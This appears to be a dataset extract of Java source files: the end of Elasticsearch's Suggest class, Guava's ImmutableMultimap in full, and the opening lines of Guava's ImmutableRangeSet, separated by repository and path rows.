public void addTerm(T entry) {
entries.add(entry);
}
@Override
public Iterator<T> iterator() {
return entries.iterator();
}
/**
* @return The entries for this suggestion.
*/
public List<T> getEntries() {
return entries;
}
/**
* @return The name of the suggestion as is defined in the request.
*/
public String getName() {
return name;
}
/**
* @return The number of requested suggestion option size
*/
public int getSize() {
return size;
}
/**
* Merges the result of another suggestion into this suggestion.
* For internal usage.
*/
@SuppressWarnings("unchecked")
public Suggestion<T> reduce(List<Suggestion<T>> toReduce) {
if (toReduce.size() == 1) {
return toReduce.get(0);
} else if (toReduce.isEmpty()) {
return null;
}
Suggestion<T> leader = toReduce.get(0);
List<T> entries = leader.entries;
final int size = entries.size();
Comparator<Option> sortComparator = sortComparator();
List<T> currentEntries = new ArrayList<>();
for (int i = 0; i < size; i++) {
for (Suggestion<T> suggestion : toReduce) {
if (suggestion.entries.size() != size) {
throw new IllegalStateException(
"Can't merge suggest result, this might be caused by suggest calls "
+ "across multiple indices with different analysis chains. Suggest entries have different sizes actual ["
+ suggestion.entries.size()
+ "] expected ["
+ size
+ "]"
);
}
assert suggestion.name.equals(leader.name);
currentEntries.add(suggestion.entries.get(i));
}
T entry = (T) entries.get(i).reduce(currentEntries);
entry.sort(sortComparator);
entries.set(i, entry);
currentEntries.clear();
}
return leader;
}
protected Comparator<Option> sortComparator() {
return COMPARATOR;
}
/**
* Trims the number of options per suggest text term to the requested size.
* For internal usage.
*/
public void trim() {
for (Entry<?> entry : entries) {
entry.trim(size);
}
}
protected abstract T newEntry(StreamInput in) throws IOException;
@Override
public void writeTo(StreamOutput out) throws IOException {
out.writeString(name);
out.writeVInt(size);
out.writeCollection(entries);
}
@Override
public abstract String getWriteableName();
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
if (params.paramAsBoolean(RestSearchAction.TYPED_KEYS_PARAM, false)) {
// Concatenates the type and the name of the suggestion (ex: completion#foo)
builder.startArray(String.join(Aggregation.TYPED_KEYS_DELIMITER, getWriteableName(), getName()));
} else {
builder.startArray(getName());
}
for (Entry<?> entry : entries) {
builder.startObject();
entry.toXContent(builder, params);
builder.endObject();
}
builder.endArray();
return builder;
}
@Override
@SuppressWarnings("rawtypes")
public boolean equals(Object other) {
if (this == other) {
return true;
}
if (other == null || getClass() != other.getClass()) {
return false;
}
Suggestion otherSuggestion = (Suggestion) other;
return Objects.equals(name, otherSuggestion.name)
&& Objects.equals(size, otherSuggestion.size)
&& Objects.equals(entries, otherSuggestion.entries);
}
@Override
public int hashCode() {
return Objects.hash(name, size, entries);
}
/**
* Represents a part from the suggest text with suggested options.
*/
public abstract static class Entry<O extends Option> implements Iterable<O>, Writeable, ToXContentFragment {
static final String TEXT = "text";
static final String OFFSET = "offset";
static final String LENGTH = "length";
protected static final String OPTIONS = "options";
protected Text text;
protected int offset;
protected int length;
protected List<O> options = new ArrayList<>(5);
public Entry(Text text, int offset, int length) {
this.text = text;
this.offset = offset;
this.length = length;
}
protected Entry() {}
@SuppressWarnings("this-escape")
public Entry(StreamInput in) throws IOException {
text = in.readText();
offset = in.readVInt();
length = in.readVInt();
int suggestedWords = in.readVInt();
options = new ArrayList<>(suggestedWords);
for (int j = 0; j < suggestedWords; j++) {
O newOption = newOption(in);
options.add(newOption);
}
}
public void addOption(O option) {
options.add(option);
}
protected void addOptions(List<O> options) {
for (O option : options) {
addOption(option);
}
}
protected void sort(Comparator<O> comparator) {
CollectionUtil.timSort(options, comparator);
}
protected <T extends Entry<O>> Entry<O> reduce(List<T> toReduce) {
if (toReduce.size() == 1) {
return toReduce.get(0);
}
final Map<O, O> entries = new HashMap<>();
Entry<O> leader = toReduce.get(0);
for (Entry<O> entry : toReduce) {
if (leader.text.equals(entry.text) == false) {
throw new IllegalStateException(
"Can't merge suggest entries, this might be caused by suggest calls "
+ "across multiple indices with different analysis chains. Suggest entries have different text actual ["
+ entry.text
+ "] expected ["
+ leader.text
+ "]"
);
}
assert leader.offset == entry.offset;
assert leader.length == entry.length;
leader.merge(entry);
for (O option : entry) {
O merger = entries.get(option);
if (merger == null) {
entries.put(option, option);
} else {
merger.mergeInto(option);
}
}
}
leader.options.clear();
for (O option : entries.keySet()) {
leader.addOption(option);
}
return leader;
}
/**
* Merge any extra fields for this subtype.
*/
protected void merge(Entry<O> other) {}
/**
* @return the text (analyzed by suggest analyzer) originating from the suggest text. Usually this is a
* single term.
*/
public Text getText() {
return text;
}
/**
* @return the start offset (not analyzed) for this entry in the suggest text.
*/
public int getOffset() {
return offset;
}
/**
* @return the length (not analyzed) for this entry in the suggest text.
*/
public int getLength() {
return length;
}
@Override
public Iterator<O> iterator() {
return options.iterator();
}
/**
* @return The suggested options for this particular suggest entry. If there are no suggested terms then
* an empty list is returned.
*/
public List<O> getOptions() {
return options;
}
void trim(int size) {
int optionsToRemove = Math.max(0, options.size() - size);
for (int i = 0; i < optionsToRemove; i++) {
options.remove(options.size() - 1);
}
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Entry<?> entry = (Entry<?>) o;
return Objects.equals(length, entry.length)
&& Objects.equals(offset, entry.offset)
&& Objects.equals(text, entry.text)
&& Objects.equals(options, entry.options);
}
@Override
public int hashCode() {
return Objects.hash(text, offset, length, options);
}
protected abstract O newOption(StreamInput in) throws IOException;
@Override
public void writeTo(StreamOutput out) throws IOException {
out.writeText(text);
out.writeVInt(offset);
out.writeVInt(length);
out.writeCollection(options);
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
builder.field(TEXT, text);
builder.field(OFFSET, offset);
builder.field(LENGTH, length);
builder.startArray(OPTIONS);
for (Option option : options) {
builder.startObject();
option.toXContent(builder, params);
builder.endObject();
}
builder.endArray();
return builder;
}
/**
* Contains the suggested text with its document frequency and score.
*/
public abstract static class Option implements Writeable, ToXContentFragment {
public static final ParseField TEXT = new ParseField("text");
public static final ParseField HIGHLIGHTED = new ParseField("highlighted");
public static final ParseField SCORE = new ParseField("score");
public static final ParseField COLLATE_MATCH = new ParseField("collate_match");
private final Text text;
private final Text highlighted;
private float score;
private Boolean collateMatch;
public Option(Text text, Text highlighted, float score, Boolean collateMatch) {
this.text = text;
this.highlighted = highlighted;
this.score = score;
this.collateMatch = collateMatch;
}
public Option(Text text, Text highlighted, float score) {
this(text, highlighted, score, null);
}
public Option(Text text, float score) {
this(text, null, score);
}
public Option(StreamInput in) throws IOException {
text = in.readText();
score = in.readFloat();
highlighted = in.readOptionalText();
collateMatch = in.readOptionalBoolean();
}
/**
* @return The actual suggested text.
*/
public Text getText() {
return text;
}
/**
* @return Copy of suggested text with changes from user supplied text highlighted.
*/
public Text getHighlighted() {
return highlighted;
}
/**
* @return The score based on the edit distance difference between the suggested term and the
* term in the suggest text.
*/
public float getScore() {
return score;
}
/**
* @return true if collation has found a match for the entry.
* if collate was not set, the value defaults to <code>true</code>
*/
public boolean collateMatch() {
return (collateMatch != null) ? collateMatch : true;
}
@Override
public void writeTo(StreamOutput out) throws IOException {
out.writeText(text);
out.writeFloat(score);
out.writeOptionalText(highlighted);
out.writeOptionalBoolean(collateMatch);
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
builder.field(TEXT.getPreferredName(), text);
if (highlighted != null) {
builder.field(HIGHLIGHTED.getPreferredName(), highlighted);
}
builder.field(SCORE.getPreferredName(), score);
if (collateMatch != null) {
builder.field(COLLATE_MATCH.getPreferredName(), collateMatch.booleanValue());
}
return builder;
}
protected void mergeInto(Option otherOption) {
score = Math.max(score, otherOption.score);
if (otherOption.collateMatch != null) {
if (collateMatch == null) {
collateMatch = otherOption.collateMatch;
} else {
collateMatch |= otherOption.collateMatch;
}
}
}
/*
* We consider options equal if they have the same text, even if their other fields may differ
*/
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
Option that = (Option) o;
return Objects.equals(text, that.text);
}
@Override
public int hashCode() {
return Objects.hash(text);
}
}
}
}
@Override
public String toString() {
return Strings.toString(this, true, true);
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/search/suggest/Suggest.java |
1,371 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.CollectPreconditions.checkEntryNotNull;
import static com.google.common.collect.Maps.immutableEntry;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.DoNotCall;
import com.google.errorprone.annotations.DoNotMock;
import com.google.j2objc.annotations.Weak;
import com.google.j2objc.annotations.WeakOuter;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Comparator;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
import java.util.Spliterator;
import java.util.function.BiConsumer;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A {@link Multimap} whose contents will never change, with many other important properties
* detailed at {@link ImmutableCollection}.
*
* <p><b>Warning:</b> avoid <i>direct</i> usage of {@link ImmutableMultimap} as a type (as with
* {@link Multimap} itself). Prefer subtypes such as {@link ImmutableSetMultimap} or {@link
* ImmutableListMultimap}, which have well-defined {@link #equals} semantics, thus avoiding a common
* source of bugs and confusion.
*
* <p><b>Note:</b> every {@link ImmutableMultimap} offers an {@link #inverse} view, so there is no
* need for a distinct {@code ImmutableBiMultimap} type.
*
* <p><a id="iteration"></a>
*
* <p><b>Key-grouped iteration.</b> All view collections follow the same iteration order. In all
* current implementations, the iteration order always keeps multiple entries with the same key
* together. Any creation method that would customarily respect insertion order (such as {@link
* #copyOf(Multimap)}) instead preserves key-grouped order by inserting entries for an existing key
* immediately after the last entry having that key.
*
* <p>See the Guava User Guide article on <a href=
* "https://github.com/google/guava/wiki/ImmutableCollectionsExplained">immutable collections</a>.
*
* @author Jared Levy
* @since 2.0
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
public abstract class ImmutableMultimap<K, V> extends BaseImmutableMultimap<K, V>
implements Serializable {
/**
* Returns an empty multimap.
*
* <p><b>Performance note:</b> the instance returned is a singleton.
*/
public static <K, V> ImmutableMultimap<K, V> of() {
return ImmutableListMultimap.of();
}
/** Returns an immutable multimap containing a single entry. */
public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1) {
return ImmutableListMultimap.of(k1, v1);
}
/** Returns an immutable multimap containing the given entries, in order. */
public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1, K k2, V v2) {
return ImmutableListMultimap.of(k1, v1, k2, v2);
}
/**
* Returns an immutable multimap containing the given entries, in the "key-grouped" insertion
* order described in the <a href="#iteration">class documentation</a>.
*/
public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3) {
return ImmutableListMultimap.of(k1, v1, k2, v2, k3, v3);
}
/**
* Returns an immutable multimap containing the given entries, in the "key-grouped" insertion
* order described in the <a href="#iteration">class documentation</a>.
*/
public static <K, V> ImmutableMultimap<K, V> of(K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4) {
return ImmutableListMultimap.of(k1, v1, k2, v2, k3, v3, k4, v4);
}
/**
* Returns an immutable multimap containing the given entries, in the "key-grouped" insertion
* order described in the <a href="#iteration">class documentation</a>.
*/
public static <K, V> ImmutableMultimap<K, V> of(
K k1, V v1, K k2, V v2, K k3, V v3, K k4, V v4, K k5, V v5) {
return ImmutableListMultimap.of(k1, v1, k2, v2, k3, v3, k4, v4, k5, v5);
}
// looking for of() with > 5 entries? Use the builder instead.
/**
* Returns a new builder. The generated builder is equivalent to the builder created by the {@link
* Builder} constructor.
*/
public static <K, V> Builder<K, V> builder() {
return new Builder<>();
}
/**
* A builder for creating immutable multimap instances, especially {@code public static final}
* multimaps ("constant multimaps"). Example:
*
* <pre>{@code
* static final Multimap<String, Integer> STRING_TO_INTEGER_MULTIMAP =
* new ImmutableMultimap.Builder<String, Integer>()
* .put("one", 1)
* .putAll("several", 1, 2, 3)
* .putAll("many", 1, 2, 3, 4, 5)
* .build();
* }</pre>
*
* <p>Builder instances can be reused; it is safe to call {@link #build} multiple times to build
* multiple multimaps in series. Each multimap contains the key-value mappings in the previously
* created multimaps.
*
* @since 2.0
*/
@DoNotMock
public static class Builder<K, V> {
final Map<K, Collection<V>> builderMap;
@CheckForNull Comparator<? super K> keyComparator;
@CheckForNull Comparator<? super V> valueComparator;
/**
* Creates a new builder. The returned builder is equivalent to the builder generated by {@link
* ImmutableMultimap#builder}.
*/
public Builder() {
this.builderMap = Platform.preservesInsertionOrderOnPutsMap();
}
Collection<V> newMutableValueCollection() {
return new ArrayList<>();
}
/** Adds a key-value mapping to the built multimap. */
@CanIgnoreReturnValue
public Builder<K, V> put(K key, V value) {
checkEntryNotNull(key, value);
Collection<V> valueCollection = builderMap.get(key);
if (valueCollection == null) {
builderMap.put(key, valueCollection = newMutableValueCollection());
}
valueCollection.add(value);
return this;
}
/**
* Adds an entry to the built multimap.
*
* @since 11.0
*/
@CanIgnoreReturnValue
public Builder<K, V> put(Entry<? extends K, ? extends V> entry) {
return put(entry.getKey(), entry.getValue());
}
/**
* Adds entries to the built multimap.
*
* @since 19.0
*/
@CanIgnoreReturnValue
public Builder<K, V> putAll(Iterable<? extends Entry<? extends K, ? extends V>> entries) {
for (Entry<? extends K, ? extends V> entry : entries) {
put(entry);
}
return this;
}
/**
* Stores a collection of values with the same key in the built multimap.
*
* @throws NullPointerException if {@code key}, {@code values}, or any element in {@code values}
* is null. The builder is left in an invalid state.
*/
@CanIgnoreReturnValue
public Builder<K, V> putAll(K key, Iterable<? extends V> values) {
if (key == null) {
throw new NullPointerException("null key in entry: null=" + Iterables.toString(values));
}
Collection<V> valueCollection = builderMap.get(key);
if (valueCollection != null) {
for (V value : values) {
checkEntryNotNull(key, value);
valueCollection.add(value);
}
return this;
}
Iterator<? extends V> valuesItr = values.iterator();
if (!valuesItr.hasNext()) {
return this;
}
valueCollection = newMutableValueCollection();
while (valuesItr.hasNext()) {
V value = valuesItr.next();
checkEntryNotNull(key, value);
valueCollection.add(value);
}
builderMap.put(key, valueCollection);
return this;
}
/**
* Stores an array of values with the same key in the built multimap.
*
* @throws NullPointerException if the key or any value is null. The builder is left in an
* invalid state.
*/
@CanIgnoreReturnValue
public Builder<K, V> putAll(K key, V... values) {
return putAll(key, Arrays.asList(values));
}
/**
* Stores another multimap's entries in the built multimap. The generated multimap's key and
* value orderings correspond to the iteration ordering of the {@code multimap.asMap()} view,
* with new keys and values following any existing keys and values.
*
* @throws NullPointerException if any key or value in {@code multimap} is null. The builder is
* left in an invalid state.
*/
@CanIgnoreReturnValue
public Builder<K, V> putAll(Multimap<? extends K, ? extends V> multimap) {
for (Entry<? extends K, ? extends Collection<? extends V>> entry :
multimap.asMap().entrySet()) {
putAll(entry.getKey(), entry.getValue());
}
return this;
}
/**
* Specifies the ordering of the generated multimap's keys.
*
* @since 8.0
*/
@CanIgnoreReturnValue
public Builder<K, V> orderKeysBy(Comparator<? super K> keyComparator) {
this.keyComparator = checkNotNull(keyComparator);
return this;
}
/**
* Specifies the ordering of the generated multimap's values for each key.
*
* @since 8.0
*/
@CanIgnoreReturnValue
public Builder<K, V> orderValuesBy(Comparator<? super V> valueComparator) {
this.valueComparator = checkNotNull(valueComparator);
return this;
}
@CanIgnoreReturnValue
Builder<K, V> combine(Builder<K, V> other) {
for (Map.Entry<K, Collection<V>> entry : other.builderMap.entrySet()) {
putAll(entry.getKey(), entry.getValue());
}
return this;
}
/** Returns a newly-created immutable multimap. */
public ImmutableMultimap<K, V> build() {
Collection<Map.Entry<K, Collection<V>>> mapEntries = builderMap.entrySet();
if (keyComparator != null) {
mapEntries = Ordering.from(keyComparator).<K>onKeys().immutableSortedCopy(mapEntries);
}
return ImmutableListMultimap.fromMapEntries(mapEntries, valueComparator);
}
}
/**
* Returns an immutable multimap containing the same mappings as {@code multimap}, in the
* "key-grouped" iteration order described in the class documentation.
*
* <p>Despite the method name, this method attempts to avoid actually copying the data when it is
* safe to do so. The exact circumstances under which a copy will or will not be performed are
* undocumented and subject to change.
*
* @throws NullPointerException if any key or value in {@code multimap} is null
*/
public static <K, V> ImmutableMultimap<K, V> copyOf(Multimap<? extends K, ? extends V> multimap) {
if (multimap instanceof ImmutableMultimap) {
@SuppressWarnings("unchecked") // safe since multimap is not writable
ImmutableMultimap<K, V> kvMultimap = (ImmutableMultimap<K, V>) multimap;
if (!kvMultimap.isPartialView()) {
return kvMultimap;
}
}
return ImmutableListMultimap.copyOf(multimap);
}
/**
* Returns an immutable multimap containing the specified entries. The returned multimap iterates
* over keys in the order they were first encountered in the input, and the values for each key
* are iterated in the order they were encountered.
*
* @throws NullPointerException if any key, value, or entry is null
* @since 19.0
*/
public static <K, V> ImmutableMultimap<K, V> copyOf(
Iterable<? extends Entry<? extends K, ? extends V>> entries) {
return ImmutableListMultimap.copyOf(entries);
}
final transient ImmutableMap<K, ? extends ImmutableCollection<V>> map;
final transient int size;
// These constants allow the deserialization code to set final fields. This
// holder class makes sure they are not initialized unless an instance is
// deserialized.
@GwtIncompatible // java serialization is not supported
@J2ktIncompatible
static class FieldSettersHolder {
static final Serialization.FieldSetter<? super ImmutableMultimap<?, ?>> MAP_FIELD_SETTER =
Serialization.getFieldSetter(ImmutableMultimap.class, "map");
static final Serialization.FieldSetter<? super ImmutableMultimap<?, ?>> SIZE_FIELD_SETTER =
Serialization.getFieldSetter(ImmutableMultimap.class, "size");
}
ImmutableMultimap(ImmutableMap<K, ? extends ImmutableCollection<V>> map, int size) {
this.map = map;
this.size = size;
}
// mutators (not supported)
/**
* Guaranteed to throw an exception and leave the multimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
// DoNotCall wants this to be final, but we want to override it to return more specific types.
// Inheritance is closed, and all subtypes are @DoNotCall, so this is safe to suppress.
@SuppressWarnings("DoNotCall")
public ImmutableCollection<V> removeAll(@CheckForNull Object key) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the multimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
// DoNotCall wants this to be final, but we want to override it to return more specific types.
// Inheritance is closed, and all subtypes are @DoNotCall, so this is safe to suppress.
@SuppressWarnings("DoNotCall")
public ImmutableCollection<V> replaceValues(K key, Iterable<? extends V> values) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the multimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final void clear() {
throw new UnsupportedOperationException();
}
/**
* Returns an immutable collection of the values for the given key. If no mappings in the multimap
* have the provided key, an empty immutable collection is returned. The values are in the same
* order as the parameters used to build this multimap.
*/
@Override
public abstract ImmutableCollection<V> get(K key);
/**
* Returns an immutable multimap which is the inverse of this one. For every key-value mapping in
* the original, the result will have a mapping with key and value reversed.
*
* @since 11.0
*/
public abstract ImmutableMultimap<V, K> inverse();
/**
* Guaranteed to throw an exception and leave the multimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final boolean put(K key, V value) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the multimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final boolean putAll(K key, Iterable<? extends V> values) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the multimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final boolean putAll(Multimap<? extends K, ? extends V> multimap) {
throw new UnsupportedOperationException();
}
/**
* Guaranteed to throw an exception and leave the multimap unmodified.
*
* @throws UnsupportedOperationException always
* @deprecated Unsupported operation.
*/
@CanIgnoreReturnValue
@Deprecated
@Override
@DoNotCall("Always throws UnsupportedOperationException")
public final boolean remove(@CheckForNull Object key, @CheckForNull Object value) {
throw new UnsupportedOperationException();
}
/**
* Returns {@code true} if this immutable multimap's implementation contains references to
* user-created objects that aren't accessible via this multimap's methods. This is generally used
* to determine whether {@code copyOf} implementations should make an explicit copy to avoid
* memory leaks.
*/
boolean isPartialView() {
return map.isPartialView();
}
// accessors
@Override
public boolean containsKey(@CheckForNull Object key) {
return map.containsKey(key);
}
@Override
public boolean containsValue(@CheckForNull Object value) {
return value != null && super.containsValue(value);
}
@Override
public int size() {
return size;
}
// views
/**
* Returns an immutable set of the distinct keys in this multimap, in the same order as they
* appear in this multimap.
*/
@Override
public ImmutableSet<K> keySet() {
return map.keySet();
}
@Override
Set<K> createKeySet() {
throw new AssertionError("unreachable");
}
/**
* Returns an immutable map that associates each key with its corresponding values in the
* multimap. Keys and values appear in the same order as in this multimap.
*/
@Override
@SuppressWarnings("unchecked") // a widening cast
public ImmutableMap<K, Collection<V>> asMap() {
return (ImmutableMap) map;
}
@Override
Map<K, Collection<V>> createAsMap() {
throw new AssertionError("should never be called");
}
/** Returns an immutable collection of all key-value pairs in the multimap. */
@Override
public ImmutableCollection<Entry<K, V>> entries() {
return (ImmutableCollection<Entry<K, V>>) super.entries();
}
@Override
ImmutableCollection<Entry<K, V>> createEntries() {
return new EntryCollection<>(this);
}
private static class EntryCollection<K, V> extends ImmutableCollection<Entry<K, V>> {
@Weak final ImmutableMultimap<K, V> multimap;
EntryCollection(ImmutableMultimap<K, V> multimap) {
this.multimap = multimap;
}
@Override
public UnmodifiableIterator<Entry<K, V>> iterator() {
return multimap.entryIterator();
}
@Override
boolean isPartialView() {
return multimap.isPartialView();
}
@Override
public int size() {
return multimap.size();
}
@Override
public boolean contains(@CheckForNull Object object) {
if (object instanceof Entry) {
Entry<?, ?> entry = (Entry<?, ?>) object;
return multimap.containsEntry(entry.getKey(), entry.getValue());
}
return false;
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
private static final long serialVersionUID = 0;
}
@Override
UnmodifiableIterator<Entry<K, V>> entryIterator() {
return new UnmodifiableIterator<Entry<K, V>>() {
final Iterator<? extends Entry<K, ? extends ImmutableCollection<V>>> asMapItr =
map.entrySet().iterator();
@CheckForNull K currentKey = null;
Iterator<V> valueItr = Iterators.emptyIterator();
@Override
public boolean hasNext() {
return valueItr.hasNext() || asMapItr.hasNext();
}
@Override
public Entry<K, V> next() {
if (!valueItr.hasNext()) {
Entry<K, ? extends ImmutableCollection<V>> entry = asMapItr.next();
currentKey = entry.getKey();
valueItr = entry.getValue().iterator();
}
/*
* requireNonNull is safe: The first call to this method always enters the !hasNext() case
* and populates currentKey, after which it's never cleared.
*/
return immutableEntry(requireNonNull(currentKey), valueItr.next());
}
};
}
@Override
Spliterator<Entry<K, V>> entrySpliterator() {
return CollectSpliterators.flatMap(
asMap().entrySet().spliterator(),
keyToValueCollectionEntry -> {
K key = keyToValueCollectionEntry.getKey();
Collection<V> valueCollection = keyToValueCollectionEntry.getValue();
return CollectSpliterators.map(
valueCollection.spliterator(), (V value) -> Maps.immutableEntry(key, value));
},
Spliterator.SIZED | (this instanceof SetMultimap ? Spliterator.DISTINCT : 0),
size());
}
@Override
public void forEach(BiConsumer<? super K, ? super V> action) {
checkNotNull(action);
asMap()
.forEach(
(key, valueCollection) -> valueCollection.forEach(value -> action.accept(key, value)));
}
/**
* Returns an immutable multiset containing all the keys in this multimap, in the same order and
* with the same frequencies as they appear in this multimap; to get only a single occurrence of
* each key, use {@link #keySet}.
*/
@Override
public ImmutableMultiset<K> keys() {
return (ImmutableMultiset<K>) super.keys();
}
@Override
ImmutableMultiset<K> createKeys() {
return new Keys();
}
@SuppressWarnings("serial") // Uses writeReplace, not default serialization
@WeakOuter
class Keys extends ImmutableMultiset<K> {
@Override
public boolean contains(@CheckForNull Object object) {
return containsKey(object);
}
@Override
public int count(@CheckForNull Object element) {
Collection<V> values = map.get(element);
return (values == null) ? 0 : values.size();
}
@Override
public ImmutableSet<K> elementSet() {
return keySet();
}
@Override
public int size() {
return ImmutableMultimap.this.size();
}
@Override
Multiset.Entry<K> getEntry(int index) {
Map.Entry<K, ? extends Collection<V>> entry = map.entrySet().asList().get(index);
return Multisets.immutableEntry(entry.getKey(), entry.getValue().size());
}
@Override
boolean isPartialView() {
return true;
}
@GwtIncompatible
@J2ktIncompatible
@Override
Object writeReplace() {
return new KeysSerializedForm(ImmutableMultimap.this);
}
@GwtIncompatible
@J2ktIncompatible
private void readObject(ObjectInputStream stream) throws InvalidObjectException {
throw new InvalidObjectException("Use KeysSerializedForm");
}
}
@GwtIncompatible
@J2ktIncompatible
private static final class KeysSerializedForm implements Serializable {
final ImmutableMultimap<?, ?> multimap;
KeysSerializedForm(ImmutableMultimap<?, ?> multimap) {
this.multimap = multimap;
}
Object readResolve() {
return multimap.keys();
}
}
/**
* Returns an immutable collection of the values in this multimap. Its iterator traverses the
* values for the first key, the values for the second key, and so on.
*/
@Override
public ImmutableCollection<V> values() {
return (ImmutableCollection<V>) super.values();
}
@Override
ImmutableCollection<V> createValues() {
return new Values<>(this);
}
@Override
UnmodifiableIterator<V> valueIterator() {
return new UnmodifiableIterator<V>() {
Iterator<? extends ImmutableCollection<V>> valueCollectionItr = map.values().iterator();
Iterator<V> valueItr = Iterators.emptyIterator();
@Override
public boolean hasNext() {
return valueItr.hasNext() || valueCollectionItr.hasNext();
}
@Override
public V next() {
if (!valueItr.hasNext()) {
valueItr = valueCollectionItr.next().iterator();
}
return valueItr.next();
}
};
}
private static final class Values<K, V> extends ImmutableCollection<V> {
@Weak private final transient ImmutableMultimap<K, V> multimap;
Values(ImmutableMultimap<K, V> multimap) {
this.multimap = multimap;
}
@Override
public boolean contains(@CheckForNull Object object) {
return multimap.containsValue(object);
}
@Override
public UnmodifiableIterator<V> iterator() {
return multimap.valueIterator();
}
@GwtIncompatible // not present in emulated superclass
@Override
int copyIntoArray(@Nullable Object[] dst, int offset) {
for (ImmutableCollection<V> valueCollection : multimap.map.values()) {
offset = valueCollection.copyIntoArray(dst, offset);
}
return offset;
}
@Override
public int size() {
return multimap.size();
}
@Override
boolean isPartialView() {
return true;
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
@J2ktIncompatible // serialization
private static final long serialVersionUID = 0;
}
@J2ktIncompatible // serialization
private static final long serialVersionUID = 0;
}
| google/guava | guava/src/com/google/common/collect/ImmutableMultimap.java |
1,374 | /*
* Copyright (C) 2012 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkElementIndex;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.SortedLists.KeyAbsentBehavior.NEXT_HIGHER;
import static com.google.common.collect.SortedLists.KeyAbsentBehavior.NEXT_LOWER;
import static com.google.common.collect.SortedLists.KeyPresentBehavior.ANY_PRESENT;
import static java.util.Objects.requireNonNull;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.common.collect.SortedLists.KeyAbsentBehavior;
import com.google.common.collect.SortedLists.KeyPresentBehavior;
import com.google.common.primitives.Ints;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.DoNotCall;
import com.google.errorprone.annotations.concurrent.LazyInit;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Collections;
import java.util.Iterator;
import java.util.List;
import java.util.NoSuchElementException;
import java.util.Set;
import java.util.stream.Collector;
import javax.annotation.CheckForNull;
/**
* A {@link RangeSet} whose contents will never change, with many other important properties
* detailed at {@link ImmutableCollection}.
*
* @author Louis Wasserman
* @since 14.0
*/
@SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989
@GwtIncompatible
@ElementTypesAreNonnullByDefault
public final class ImmutableRangeSet<C extends Comparable> extends AbstractRangeSet<C>
implements Serializable {
private static final ImmutableRangeSet<Comparable<?>> EMPTY =
new ImmutableRangeSet<>(ImmutableList.<Range<Comparable<?>>>of());
